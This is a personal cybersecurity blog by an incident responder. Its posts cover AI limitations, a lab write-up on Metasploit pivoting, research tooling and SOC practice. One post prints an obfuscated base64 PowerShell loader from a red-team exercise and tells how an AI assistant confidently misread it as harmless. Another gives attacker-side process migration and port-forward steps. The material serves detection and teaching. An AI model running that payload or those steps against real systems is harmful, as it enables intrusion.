This Insecure World

AI and the Blank Page Problem

Sun, 07 Jun 2026 00:36:31 +1300

Part 2 of an ongoing series on where AI lets me down.

I work in cyber security, and the pressure to use AI at work has become fairly insistent over the last few months. Before I get into where I think it’s letting me down, I want to tell you about Jahreese.

When I was 12, my English writing teacher decided to use an inspirational picture book to show us how creativity works. She had the whole class gather round, and showed us each picture, slowly, with the intention we’d be silent and quietly thinking about what we were looking at. Here’s a picture similar to the one I remember in my mind when I think of this:

Image taken from Dreamstime.

Jahreese was a funny little bugger who decided to make a comment on the first thing that came to mind for each image in the book. Once we’d seen all the pictures, we headed back to our desks to write a story that was somehow related to the picture we’d seen. Four of us chose the chair that was floating away, and all four of us wrote stories that were variations of “I must go, my people need me”, which was what Jahreese chose to comment on this particular picture.

Miss Hughes, the rock star, went on to show us stories from other years that she’d done this exercise, and the variety was dramatically broader than our class. She went on to explain that we all perceive the world differently, and that in providing commentary on each picture, Jahreese limited our imaginations and inspiration from each picture to the picture plus his comment. It stuck with me.

Back to AI. My role is fairly specialised and requires a good level of expertise, so I’ve been playing with AI to see where it fits. I run into limitations over and over again that I’m going to document on this blog so I can figure out where my frustrations actually lie (thank you, rubber duck), as well as enabling my laziness, allowing me to just copy paste this link instead of typing out the same argument each time it comes up.

I got really excited when I started using AI, because I thought it would solve my blank page problem. And initially, it seemed to. When I had to write a process, document or guideline, I’d quickly bypass the blank page problem by getting Claude to generate an outline for me, or even the first draft, with the intention of changing the content to make it fit for purpose, and in record time.

But using AI to solve the blank page problem does the same thing Jahreese did to our class, it limits creativity. Whether that matters depends on the work. If I’m writing a status update, a meeting agenda, or a runbook for something that’s been done a thousand times before, a Claude-shaped first draft is probably close to where I’d land anyway. There’s no creativity to lose because there wasn’t much to be had.

But the work where I actually earn my keep is the weird stuff, the incident that doesn’t fit the usual patterns, the problem nobody’s written a runbook for yet. That’s exactly where I need the widest possible thinking, and it’s exactly where letting AI write the first draft hurts most. And the worst part is, once I’ve read Claude’s outline, I can’t un-read it. The “obvious” approach it laid out is now sitting in my head, colouring everything I think of next. Psychologists call this anchoring bias. The class couldn’t un-hear Jahreese, and I can’t un-see Claude.

I felt this recently when I was writing a CSIRT Practice Guideline (CPG, thanks, paramedicine) for tech leads spinning up a new incident. The point of the document was to give whoever’s leading the response a cognitive aid for the chaos of those first 30 minutes, the stuff that’s specific to my team, in our environment, with our customers. I asked Claude for a first draft, expecting to riff off it. What I got back was a cookie-cutter incident-response checklist, half of it lifted from site reliability engineering practices that have almost nothing to do with how a CSIRT handles a real compromise. None of it addressed the specific needs of my team.

I spent ages trying to make Claude’s draft work before I gave up and started over from a blank page. The version I eventually wrote looked nothing like the AI’s, but I’d burned an afternoon on the detour because I kept trying to salvage the framing instead of asking myself what actually belonged in the document.

So when I’m trying to solve a problem with a bit of novelty, I need to go back to beating my head against the blank page. In beating my head against the blank page, I’m allowing myself to fully consider the needs of the eventual solution without any constraints on my imagination for how to get there. As soon as AI drafts the output for me, it’s putting me on rails and limiting my creativity, and I’m not ok with that.

I’m going to use AI to keep polishing my product, but only after I’ve worked out my intended direction, and the draft has my ideas and voice. I’m not going to outsource my critical thinking to AI, and I encourage you to do the same. It’s worth the effort.

AI and Foundational Knowledge

Mon, 01 Jun 2026 00:36:31 +0000

Part 1 of an ongoing series on where AI lets me down.

I was having a chat with a friend today (Hi Harvey! We’re on the internets!) about how loud he’d have to yell, and how much energy and heat that would take, for him to yell “HI TP” from Queensland and be heard over in Ashburton, New Zealand. I wanted to make a joke about him burning himself to cinders in the attempt, but I didn’t know the physics well enough to do the math.

My first instinct was to ask Claude. Then I realised: if Claude forgot to factor in Doctor Physic’s Nineteenth Law of Thermodynamics and threw the answer off by a billion degrees (celsius, because I’m not a monster), I’d have literally no way of knowing.

And that’s the kicker. AI gets things wrong, sure, everyone knows that. But the problem isn’t the wrong answer, it’s that catching the wrong answer requires you to already know enough to spot it. If I don’t know thermodynamics, Claude can lie to me about thermodynamics all day and I’ll thank it for the answer.

In low-stakes situations like working out how big of a crater Harvey would make, this is fine. The trouble is when AI starts answering questions that actually matter, and the person asking doesn’t have the foundation to know when the answer is wrong. I’m seeing this in my job. Analysts are asking, for example, Charlotte AI (built into Crowdstrike) what this PowerShell snippet does:

JgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcASAA0AHMASQAnACsAJwBBAEMAOAB2AHAAVwBrAEMAQQAwAHQATgB6AHMAaABYAEsATQAwAHIAVABpAHsAMAB9AHkATABjAHEAMwB6AGsAegBUAFUATgBHAEkARABxADQAcwBMAGsAbgBOADEAWABQAE4ASwA4AHMAcwB5AHMALwBMAFQAYwAwAHIAaQAnACsAJwBiAFcAeQBDAGkAagBLAFQAMAA0AHQATABzADQAdgBjAHMANAB2AHoAUwB2AFIAVgBOAEIATgBMADEARQB7ADEAfQAxAEYAUwBvAFYAawBnAEYAbQBxAEMAaABWAEYASgBVAG0AcQBxAGsAcQBWAEIAcgBEAGUAWQByAGUAQgBjADUAbABYAGkARgA1AEUAVQBCAEEATgBzAGgAOAA0AGwAZgBBAEEAQQBBACcAKQAtAGYAJwA5ACcALAAnAHcAJwApACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApAGUAYwBoAG8AIAAnAEcAbwBSAE0AcQB4AFcAagAnADsA -InputFormat None

Charlotte confidently answered:

is decoded to echo 'GoRMqxWj';. The -InputFormat None parameter specifies that no input format is expected, which is useful for commands that do not require input.

If you’ve spent any time looking at PowerShell attacks, the shape of this snippet is immediately familiar: it’s a classic obfuscation chain, and it’s probably dropping an implant in memory.¹ What Charlotte did was find the innermost string at the end of the chain (the harmless echo) and report that as the answer, ignoring the four layers of Invoke-Expression-style wrapping around it. Worse, it did so without any hint of uncertainty.

By design, AI is trained to sound 100% confident in its output, that’s how the system works. But come on. In this case, the analyst took Charlotte’s answer at face value and closed the alert as a false positive. We were lucky: this particular PowerShell was part of a red team exercise, so we caught it on review. If it had been a real attacker, we’d have had a foothold sitting unaddressed in the environment because the analyst who caught the case that day didn’t have the foundational PowerShell knowledge to look at the base64 and feel their stomach drop.

This isn’t new. Lawyers are being sanctioned for submitting briefs to court with hallucinated precedents. Big-4 consulting firms are refunding hundreds of thousands of dollars for reports padded with hallucinated references. Academia is rife with the same. People making mistakes that can just as easily be made by humans, except the AI’s volume and confidence make those mistakes faster and harder to catch.

For me, in cyber security, the stakes are the same shape. We miss a system during a compromise, miss data leaving the environment, close a true positive as a false positive. These are resume-generating events. The thing that protects us is the analyst who knows what bad PowerShell looks like, the responder who knows what a normal day on the network feels like, the engineer who knows what their detection rules can and can’t see. Foundational knowledge. Pattern recognition built up over years of being wrong, being corrected, and trying again.

And here’s what worries me. The narrative right now is “lay off your junior developers or SOC analysts, you don’t need them, AI can do the work for them”. But the work juniors do isn’t just output, it’s how they build the foundational knowledge that lets them catch AI being wrong five years from now. If we replace that supervised, on-the-job, getting-things-wrong-and-being-corrected practice with an AI that confidently produces the answer, we don’t get the same seniors faster. We get no seniors at all. The people protecting the business from AI, the ones who can look at a base64 string and know to escalate, just don’t exist anymore. I don’t know how we fix this, and it scares me.

For those of you who are curious: Harvey didn’t spontaneously combust. He decided not to call out in the end. It was late, and it might have been inconsiderate to the neighbours.

Specifically: UTF-16 base64 wrapping a GZip-compressed payload, which decompresses to more PowerShell, which decodes a base64 string, which finally executes. ↩︎

Pivoting, RDP, and why notepad talking to 3389 is suss

Fri, 01 May 2026 00:00:00 +0000

I’ve been messing about in a lab lately with pivoting; routing your traffic through something you already own so you can get to ports and networks you shouldn’t be able to touch directly. One of the funnier outcomes is watching a Windows host look like it’s RDP’ing into itself, which sounds absurd until you line up the sockets and the PIDs.

The bit that looks weird in netstat

You’ve probably seen svchost listening on 3389 a thousand times. That’s fine. That’s Windows doing Windows things. What’s less fine is when notepad.exe shows up with an established connection to loopback RDP.

Here’s what I was looking at on the victim (domain controller in this lab):

C:\Users\svc_vault>netstat -ano | findstr 3389
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       896
  TCP    127.0.0.1:3389         127.0.0.1:49431        ESTABLISHED     896
  TCP    127.0.0.1:49431        127.0.0.1:3389         ESTABLISHED     7064
  TCP    [::]:3389              [::]:0                 LISTENING       896
  UDP    0.0.0.0:3389           *:*                                    896
  UDP    [::]:3389              *:*                                    896

So who’s 7064, and who’s 896?

C:\Users\svc_vault>tasklist /FI "PID eq 7064"

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
notepad.exe                   7064 RDP-Tcp#7                  5     15,420 K

C:\Users\svc_vault>tasklist /FI "PID eq 896"

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
svchost.exe                    896 Services                   0     48,100 K

896 listening on 3389? Normal. 7064 talking to 127.0.0.1:3389? That’s the bit that should make you go “hang on a minute”.

What I actually did to get there

This was a toy chain, but it’s the same shape you see in the wild when someone’s trying to hide where the RDP is really coming from.

Compromise the host (scheduled task, Metasploit implant, you know the drill).
Spawn notepad from Meterpreter, then migrate the implant into it (DLL injection / process migration; pick your favourite euphemism for “my evil code now lives in someone else’s process”).
On the attacker box, add a forward so anything I send to a local port gets tunnelled through the implant to RDP on the target. In my case that looked like:

meterpreter > portfwd list

Active Port Forwards
====================

   Index  Local          Remote          Direction
   -----  -----          ------          ---------
   1      0.0.0.0:13389  127.0.0.1:3389  Forward

1 total active port forwards.

So when I point xfreerdp (or mstsc, or whatever) at 127.0.0.1:13389 on my machine, the bytes go through Metasploit and pop out on the victim as traffic to 127.0.0.1:3389. From the DC’s point of view it can look like the machine is connecting to its own RDP stack, because that’s literally where the forward lands—even though the thing holding the client end of the weirdness is notepad.

(The flow diagram below is one of the AI generated ones—RDP client → tunnel → pivot → Windows → implant → 127.0.0.1:3389.)

Why I care about pivoting when I’m scoping an incident

Not every compromised box gets a clean line back to C2. Sometimes you’ve got decent network controls north–south, and the operator ends up bouncing client3 → client2 → client1 → C2—a giant game of chinese whispers where each hop is a forward, a proxy, or someone reusing creds on a box they shouldn’t be on.

When that’s happening, I’m not asking “is dllhost allowed to exist?” (it is). I’m asking why dllhost (or SearchHost, or RuntimeBroker, or whatever) is talking to that host on that port, and whether that edge belongs in my mental graph of the intrusion.

The EDR miss

In the sandbox I was playing in, CrowdStrike did not log these loopback RDP connections at all. This means if you’re only leaning on whatever showed up in the console for “network”, you might miss the story entirely. I had to go deeper (think RTR / live response style work) to actually correlate the socket to the process and realise what was going on.

It did catch the process migration, which honestly tracks; EDR tends to be pretty vocal about “hey this thing jumped into notepad” compared to every weird edge case around localhost RDP.

The Metasploit sequence below shows how this can be set up on the attacker side: spawn notepad, migrate, portfwd, then RDP to the local forward:

Wrapping up

Pivoting is one of those skills that’s easy to learn in a lab and painful to spot under pressure, because the IOCs stop being “bad IP” and start being “weird relationship between two things that are both allowed in isolation”. If you’re in an IR and the network looks quiet, sketch the hops anyway. The boring old netstat / PID story still punches above its weight.

A Local Transcript Editor for CGT Research

Sun, 26 Apr 2026 00:00:00 +0000

The Problem

I’m doing constructivist grounded theory (CGT) research, which means I’m spending a lot of time with interview transcripts. A lot of time. CGT requires iterative, line-by-line analysis of transcripts, and the quality of those transcripts directly impacts the quality of the research. Misheard words, incorrect speaker attribution, missing emotional context - these aren’t minor inconveniences, they’re threats to analytical integrity.

Auto-generated transcripts are a starting point, but they’re rarely good enough for serious analysis. The AI gets speakers confused. It misses sarcasm and tone. It doesn’t capture pauses or laughter that signal meaning. And for CGT work, where I’m looking for patterns in how participants use language and co-construct meaning through dialogue, these details matter.

I needed a way to review and refine transcripts that didn’t involve bouncing between media players, text editors, and spreadsheets. Something purpose-built for the actual work of preparing transcripts for coding.

The Tool

I built a transcript editor that handles the specific needs of transcript refinement for qualitative research. It’s a single-page web app that runs entirely in your browser - no file uploads, no servers, everything stays local on your machine.

What It Does

Speaker Management

Click any speaker label to reassign it
Edit speaker names inline
Visual color coding to track who’s speaking
Handles multi-party conversations cleanly

Transcript Editing

Edit text directly inline, no forms or popups
Auto-resizing text fields that flow naturally
Preserves formatting and paragraph structure
Fast keyboard-driven workflow

Contextual Annotations

Add notes for paralinguistic cues: [laughter], [long pause], [sarcastic tone]
Attach context that the audio captures but text loses
Notes stay attached to specific segments
Visual indicators show which segments have annotations

Media Synchronization

Drop in your audio or video file alongside the transcript
Click any timestamp to jump to that point in the recording
Verify ambiguous sections without leaving the editor
Keyboard shortcuts for play/pause/skip

Format Flexibility

Detects common transcript formats automatically
Handles SRT, VTT, JSON, plain text with timestamps
Export in multiple formats for different analysis tools
Works with whatever your transcription service outputs

Why This Approach Works for CGT

CGT transcript analysis is iterative. You don’t just read through once - you return to transcripts repeatedly as your coding evolves. You compare segments across interviews. You verify that emerging concepts are grounded in participants’ actual words.

This means transcript quality compounds. An error you miss in the initial review will propagate through your coding. A speaker misattribution early on can obscure important patterns in how dialogue unfolds. Missing emotional context can lead to misinterpreting emphasis or meaning.

Traditional transcript review workflows are fragmented:

Play audio in one app
Edit text in another
Track speakers in a spreadsheet
Note context in yet another document

That fragmentation creates friction. Friction means corners get cut. Corners cut on transcript quality mean compromised analysis.

Having everything in one place - media playback, speaker assignment, text editing, contextual notes - removes that friction. The transcript review process becomes fast enough that you actually do it properly rather than telling yourself “good enough” and moving on.

The Privacy Angle

For research work, data privacy isn’t optional. Interview transcripts often contain sensitive information. Participants agreed to share their experiences with the researcher, not with random cloud services.

Everything in this tool happens in your browser. Your transcript file never leaves your machine. There’s no upload. There’s no account. There’s no third-party processing your data. You can verify this by reading the source code - it’s all right there in a single HTML file.

This matters for research ethics and for institutional review board requirements. You can use this tool on sensitive transcripts without creating new privacy concerns.

The Workflow

Here’s how this fits into CGT transcript preparation:

Generate initial transcript: I use Scriberr hosted locally with the Whisper 3 Large model, but any transcription service works (Otter, Rev, etc.)
Load into editor: Drop the transcript file (and optionally the audio/video) into the editor
Review and refine:
- Listen to sections while reading along
- Correct misheard words and phrases
- Fix speaker attributions
- Add paralinguistic annotations where meaning depends on tone
Export clean transcript: Save the refined version for import into your coding software (NVivo, Atlas.ti, etc.)

The refined transcript becomes your source material for coding. Time invested here improves every subsequent stage of analysis.

How Long This Takes

For a 60-minute interview transcript, the review process typically takes me 45-60 minutes with this tool. That’s faster than my previous workflow (audio player + text editor + notebook), and the output quality is better because I’m not skipping things due to workflow friction.

The time investment is worth it. I’m going to spend dozens of hours analyzing each transcript. An extra hour up front to ensure accuracy compounds across all that subsequent analysis.

If You Want It

The tool is here. It’s a single HTML file - download it, open it in a browser, and you’re ready to work. No installation, no configuration, no dependencies.

If you’re doing qualitative research and working with interview transcripts, this might save you some time. If you need modifications for your specific workflow, the source is right there in the HTML file.

Time Well Spent

Building this tool took about 45 minutes. It’s going to save me hours over the next few months as I work through interview transcripts for my research. More importantly, it’s going to improve the quality of that work by making the transcript refinement process fast enough that I actually do it thoroughly rather than cutting corners.

Sometimes the best tool for your workflow is the one you build specifically for your workflow.

Threat Hunting vs Incident Scoping: Words Actually Mean Things

Sat, 25 Apr 2026 00:00:00 +0000

The Problem

I’ve got a recurring frustration with how “threat hunting” gets thrown around in incident response circles. I’ll be deep in an active incident where we’ve detected a compromise, we’re investigating affected systems, we’re scoping out how far the attacker got, and someone will inevitably say “we need to do some threat hunting to find other compromised hosts.”

No. That’s not threat hunting. That’s using sweeping to scope the incident. That’s just… incident response.

This isn’t pedantry for the sake of it. Words mean things, especially in our field where clear communication during an incident can be the difference between containment and catastrophe. So let’s sort this out.

What Threat Hunting Actually Is

According to every major security vendor and framework out there, threat hunting is:

The proactive search for NEW, undetected threats that have evaded your existing security controls.

Let’s break that down:

Proactive: You’re not responding to an alert or incident. You’re going looking.
Undetected: Whatever you’re hunting for hasn’t triggered your detection systems.
New: You don’t already know about this compromise.

CrowdStrike defines it as “the practice of proactively searching for cyber threats that are lurking undetected in a network.” Splunk calls it “any manual or machine-assisted process for finding security incidents that your automated detection systems missed.”

The key word across all these definitions? Undetected.

What Incident Scoping Actually Is

When you’re already in an incident, when something HAS been detected, when you KNOW you’re compromised, when you’re working an active case, the process of finding additional affected systems is called incident scoping, sometimes colloquially referred to as sweeping.

SentinelOne puts it beautifully: “The purpose of DF/IR methodologies is to determine what happened after a data breach has already come to light.”

That’s the distinction. Threat hunting happens BEFORE you know there’s a problem. Incident response (including scoping) happens AFTER you’ve detected one.

Why This Matters

Beyond just getting the terminology right, conflating these concepts causes real problems:

1. Resource Allocation

Threat hunting and incident response require different resources, skills, and time commitments. If you’re in an active incident and someone says “let’s threat hunt,” you might spin up your threat hunting team when what you actually need is your incident response team working overtime.

2. Expectations and Urgency

Threat hunting is typically a deliberate, hypothesis-driven process. You’re exploring, investigating leads, potentially spending days or weeks on a hunt. Incident scoping during an active response needs to be fast and focused - you’re not exploring, you’re containing.

3. Metrics and Reporting

If you’re reporting “threat hunting activities” but what you’re actually doing is incident response, your metrics are garbage. Your threat hunting program looks busier than it is, and your incident response workload is being undercounted.

4. Communication Clarity

When you’re briefing stakeholders on an incident, telling them you’re “threat hunting” suggests you’re not sure if there’s a problem yet. That’s very different from “we’ve confirmed a breach and are scoping the impact.”

5. Burden of Proof

Threat hunting teams are generally required to triage their findings before reporting them to the SOC for a security response. Sweeping the environment for indicators of compromise, as a part of scoping, generally doesn’t have this burden. If the indicator exists on a machine, that machine becomes part of the incident response scope, no additional analysis required.

The Practical Difference

Here’s how it plays out in the real world:

Threat Hunting Scenario: Your EDR hasn’t alerted. Your SIEM is quiet. But you’ve read about a new technique where attackers are abusing legitimate admin tools in creative ways. You build a hypothesis: “What if someone is using PSExec in an unusual pattern to move laterally?” You query your logs, looking for anomalies. You find evidence of compromise that bypassed your detections. You’ve just completed a successful hunt. This is threat hunting.

Incident Scoping Scenario: Your EDR alerts: Dropper execution detected on WORKSTATION-042. You investigate and confirm the dropper pulls down undetected malware, and the workstation was compromised. Now you need to find everywhere that malware was dropped, every system it touched, every file it accessed. You’re pivoting on IOCs, searching logs, looking for related activity. This is incident scoping. It’s part of incident response. It is NOT threat hunting.

Industry Consensus

This isn’t just my opinion. Every major security vendor and framework agrees threat hunting is looking for:

CrowdStrike: Threats “lurking undetected”
Splunk: Incidents “your automated detection systems missed”
Microsoft Sentinel: “Anomalies that aren’t detected by your security apps”
Fortinet: Explicitly contrasts proactive threat hunting with reactive incident response
SentinelOne: Distinguishes hunting from DF/IR which addresses breaches “after they come to light”

The consensus is clear and consistent. Threat hunting is for finding NEW incidents. Incident response (including scoping/sweeping) is for handling EXISTING incidents.

Conclusion

If it’s already detected and you’re responding to it, you’re not hunting. You’re responding.

Threat hunting is for finding NEW compromises that evaded your defenses. Incident scoping is for determining the extent of KNOWN compromises. They use similar techniques, but they’re fundamentally different activities with different goals, different urgency levels, and different success criteria.

Words mean things. Use the right ones.

Sources:

Research Recruitment

Mon, 20 Apr 2026 00:00:00 +0000

Hey friends!

I’m conducting doctoral research at Te Herenga Waka - Victoria University of Wellington investigating the methodologies employed by experienced practitioners in cyber intrusion investigation and response.

Despite the critical importance of incident response to organisational security, our field currently lacks a communicable, tactical framework for practice. Expertise remains largely tacit, transferred informally as “tribal knowledge” rather than through structured, teachable methodology. My research seeks to address this gap by capturing and codifying the processes used by experienced practitioners.

I am seeking participants who meet the following criteria:

Participation in a minimum of five intrusion investigation and response engagements, OR
Technical leadership of a minimum of three such engagements

Note that for the purposes of this research, an intrusion is the interactive access to more than one computing system by an attacker, where the access to subsequent systems is dependent on the compromise of previous systems. For example, two different systems being compromised by the same phishing campaign would not meet this criteria, but the compromise of one system leading to lateral movement to a second system would.

Participation involves a 90-minute recorded (video or audio, your choice!) interview comprising two components: questions regarding general experience and professional practice (~30 minutes), followed by a (hopefully fun) tabletop scenario exercise designed to elicit investigative methodology without requiring disclosure of specific client engagements (~60 minutes).

All data will be de-identified and treated confidentially. If you’re interested, you can get a copy of the complete scenario documentation for use in your own professional development activities, along with copies of published research outputs.

Of course, if you participate now, and in the future decide you want to withdraw your consent and provided data, we support this. Please see the Participant Information Sheet for details on the withdrawal process.

Further details are available in the Participant Information Sheet and Consent Form.

To schedule an interview: https://scheduler.zoom.us/pearsoluke1/rq1-booking-page
Whether or not it’s for you, I’d be eternally grateful if you would share this invitation with colleagues who may be interested and meet the eligibility criteria.

This research has been approved by the Te Herenga Waka—Victoria University of Wellington Human Ethics Committee 2026/HE040062.

Transitioning from SOC to CSIRT

Mon, 17 Feb 2025 00:00:00 +0000

Musings on SOC and CSIRT and “Upward Trajectories”

I’ve been working with a company recently to help them hire a new Senior CSIRT Incident Responder. There have been some changes to their team recently which means they can’t afford to take someone more junior and train them up into the position (which is this company’s preferred method of building seniors, and I love), they need someone who can hit the ground running and lead things today.

We’ve had a lot of people who are SOC analysts, and have been SOC analysts for at least four years, applying for the position. I love this, SOC staff are at the coal-face of incident response, dealing with everything from imaginary mouse movements to the very first detection finding an APT in your environment. It’s a very hard job, and honestly one that I think is a security specialism in its own right, but I digress.

A lot of people seem to think that SOC is an entry level job, and that if you put in enough time and get enough experience, you’ll naturally learn the skills you need to become a solid incident responder. And in certain cases this is true, but I think that the way SOCs are made up today, most of the time, you’re not going to get the well rounded diet of activities growing incident responder’s need.

Incident responders (when they’re doing incident response and aren’t stuck in the prepare loop from hell) are specialists at system forensics as well as tracking an attacker as. they move through an organisation. SOC work can certainly prepare you for the former here, as triaging alerts will naturally give you a really good understanding of system artifacts and where to look to prove hypothesis (persistence? Better check those run keys!).

I don’t like “tell me about a time when” based interviews. The problem with these interviews, is they have the benefit of hindsight, and the answer I tend to get from candidates is them telling me an idealised version of what went down, where the mistakes they made are covered up by what they learned at the time, making the candidate out to be better than they might be in the heat of the moment. Incident response is all about how you handle the unknown, the scary, and relying on your whit, which is why I will always incorporate scenarios at some point in the interview chain.

The challenge I’ve seen in interviewees recently is that they struggle to pivot their thinking from single host analysis to assessing the business as a whole. In an interview scenario, I might give them an IP address that the malware talks to, or a username that falls out of a command the attacker executed, and I’m ready and waiting for “neat! What other systems have connected to that IP address?!” or “bloody choice, what other systems has that user logged in to? All of them? By design? Fantastic, let me tell you how I’d separate the good from the bad!”. These conversations are awesome give the candidate a chance to really show off their stuff, and, most importantly, keep the interview interesting for me!

What tends to happen instead is that this critical information is glossed over, and the candidate instead tries to chase the things they know how to investigate. Part of this is absolutely to show off their knowledge, this is an interview, after all, and rattling off the various Powershell logs and their locations on disk is totally impressive. But I think another part, a bigger and scarier part, is that pivoting based on IOCs outside of the host in question just isn’t considered as part of their investigation.

I’ve looked around, and there’s not a lot of training on this. SANS will give you weeks and weeks of content on the difference between a prefetch and MFT file, how you can parse them, how you can feed them in to the massive list of findings you’ll generate for that host. SO will youtube, and home labbing, a zillion blog posts out there, etc.

What I struggle to find is training on how to lead an organisation-level compromise, filled with lateral movement, multiple compromised hosts, sleeper compromise that will only activate a month after you kick the attacker out and lead to recompromise of your environment, etc. Honestly, this baffles me. This is the stuff that actually happens in major incidents - the APT compromises, the ransomware deployments, the breaches that make headlines. Yet the training focuses overwhelmingly on single-host forensics while glossing over the orchestration and scoping skills you need when five hosts turn into fifty.

But that’s for people who want to become incident responders. That’s what I would consider a critical skillset to develop. Is that was every SOC analyst wants? Is CSIRT the natural progression of SOC? I personally don’t think so. I think SOC is a specialty that stands on its own. SOC don’t get to take their time on a single host - SOC need to develop specialised skills to triage systems into “needs more work” or “this is a nothingburger” absurdly quickly so they can get through the deluge of alerts that make up their day. And I take my hats off to these people - I can’t do that. I’m not fast enough, and I dive down rabbit holes way too easy.

So for you SOC analysts who want to become incident responders, do it! You’ve got an amazing foundation of knowledge in your current role, and with effort, you can build upon that to learn how to incident respond well. Please, though, don’t think your 5 years in SOC with little extra effort has prepared you to step straight in to an incident responder role, because it probably hasn’t. You’re going to need to put in the effort.

And to those of you in the SOC who have made the coal-face your specialisation, who own it and truly excel at what you do, I salute you, and I look forward to begging you for help in my next incident response engagement, because you know I’m going to need you.

OODA Loop for Alert Review

Sat, 16 Nov 2024 00:36:31 +1300

Introduction

Alert reviews are hard. Looking through alerts, not getting sucked in to the gory details, and keeping in mind the why of the work you’re doing is harder to keep up with, especially for newer staff. This issue exacerbated by experienced staff developing a solid “gut feel” for reviewing alerts / investigative leads, and leaving themselves unable to explain, in a repeatable fashion, how they do what they do. An approach I’ve had some success with in giving staff a thought process to keep them on-track is the OODA Loop.

The OODA Loop was created by Colonel John Boyd of the US Air Force, back in 1976. Given the dearth of military terminology in the Cyber Space, I thought this was worth investigation /s. Cyber isn’t the first space to pick up OODA loops outside of a military context, law enforcement, healthcare, legal and even political campaigners have implemented the OODA loops to great effect. So what is the OODA loop?

OODA

OODA is an acronym for Observe, Orient, Decide, Act, one word for each phase of the OODA loop. Originally designed to be super snappy (as is required for fighter pilots doing fighter pilot things), the timeframe of use can be expanded out over days. For an example of the original use of the loop, see this video. Now let’s apply it to alert triage!

Observe

In the observe phase, I like to go a little deeper than just “oh, a new alert”. I like to bound my review phase by only the information in the alert itself. If I have to leave the alert, for example to look up a domain / user / whathaveyou, then I’m no longer observing. but if I look at an IP in the alert itself that is, say, 172.32.14.5, and I go “that’s an external IP address” (it really is), then that’s a valid observation.

Orient

Orientation is where we start gathering additional context to understand the environment and conditions in which the alert fired. I like to bound the entire orientation phase to 5 minutes. If I’m taking more than 5 minutes to look at an alert and make a decision, then I’m investigating without choosing to investigate - also known as falling down rabbit holes! This is what we’re trying to avoid.

So maybe I look up the department the user account mentioned in the alert belongs to, because if the user is a developer, the activity alerted on might be allowed. Maybe I look up the IP address to see if it belongs to my organisation. Maybe I search across teams for a filename to see if it’s being discussed / used by design. Most importantly, all of these orientations must be completed in less than 5 minutes - TOTAL.

Decide

You have all of the information you can quickly gather (remember the 5 minutes rule!), so it’s time to decide what to do. While I’m generally against fixed-track outcomes, setting them for alert review has been quite productive, in my experience. In the case of alert review, I tend to encourage my staff to chase one of three outcomes:

Close the alert. There’s no risk to our organisation, so no further action is required by our team. This might be supported by adding a detection review request, etc.
Escalate the alert. This looks scary and beyond the scope of my team, so it’s time to get the more experienced folks in the next tier involved.
Investigate further. There’s definitely something odd going on that may or may not be an incident, let’s use our discretion and investigate further.

Based on what you found in observe and orient, the decision should be pretty obvious, once you get to this step. Note also choosing to investigate is not simply repeating the observe and orient phases, because you’re no longer constrained to things that you can achieve in a single 5 minute window.

Act

I hope you’re ready for this, there’s so much going on in this step: You’ve decided the best course of action with the information available to you. Do it.

Conclusion

I’ve taught this concept to a few different customers, and spoken about it at the mighty CHCon. I’ve included links to my talk and the presentation slides below. If they’re of value to you or someone you know, please do go forth and spread the good word. I appreciate it!

Slides!

Some random waxing lyrical to the slides

GX-CS - GIAC Experienced CyberSecurity Specialist

Tue, 23 May 2023 00:00:00 +0000

Phwoar, what an exam. This was simultaneously the most stressful and most fun exam I’ve taken in a long time.

I’ll dive into a bunch of stuff below (that I hope won’t break NDA), but here’s the headline: this exam is FUN! All of the tasks were tasks you could reasonably be expected to do as a cyber security professional in one of a number of disciplines (GRC / IR / engineer etc). None of the tasks felt arbitrary or obscure - no testing one random bit of knowledge with no real world application. There was no arbitrary removing of tools from VMs to make the exam artificially harder. All built-in OS tools were available on every machine (every Windows box had ISE, etc). There were different levels of after-market tools installed (not every machine had nmap or strings, for example), but if it shipped with the OS, it was available.

Pro tip: The strategy I employed here was to read over every question when I hit it, maybe give the VM a quick poke, then if I wasn’t confident I could solve it in less than 10 minutes (25 questions over 4 hours is roughly 9.5 minutes per question) I’d slap that skip button. This meant when I got to the end of the 25 questions and started reviewing the skipped questions, I could divide questions skipped my remaining time, to work out how much longer I could spend on these tougher questions. The biggest downside to this approach is that you can’t take a break (as you can’t take a break without answering skipped questions).

There was one question (and, of course, it was the first question) where I was like “I have NFI how to do this thing, and I know for a fact actually doing it isn’t in any of my material”. I immediately skipped this question with the intention of returning and trying and hoping one of the other questions would give me a hint, but when I got back to it I still had no idea how to even start. I just noped out, randomly guessed, and moved on to the other skipped questions.

I did have a couple of small teething issues with the exam that I didn’t think was just me being a muppet. For example, one question could be summed up as <do this zany technical thing, and provide the resulting hash>. After I’d done the work and flicked through the available answers, I saw the answers looked far more base64-ish than hash-ey (more than just hex characters). Additionally, some parts of the exam are like “do these things, and something on the machine will change to show you the answer to this multi choice question”. Some of those things didn’t change despite me being 100% sure I’d nailed it. I just chucked comments in explaining what I did in detail hoping that it’d be enough.

I don’t know what the pass mark is, but I blindly guessed on at least 4 of the questions, all of which are multichoice with 8 answers. So the odds of getting even one of them right with that approach is less than ideal.

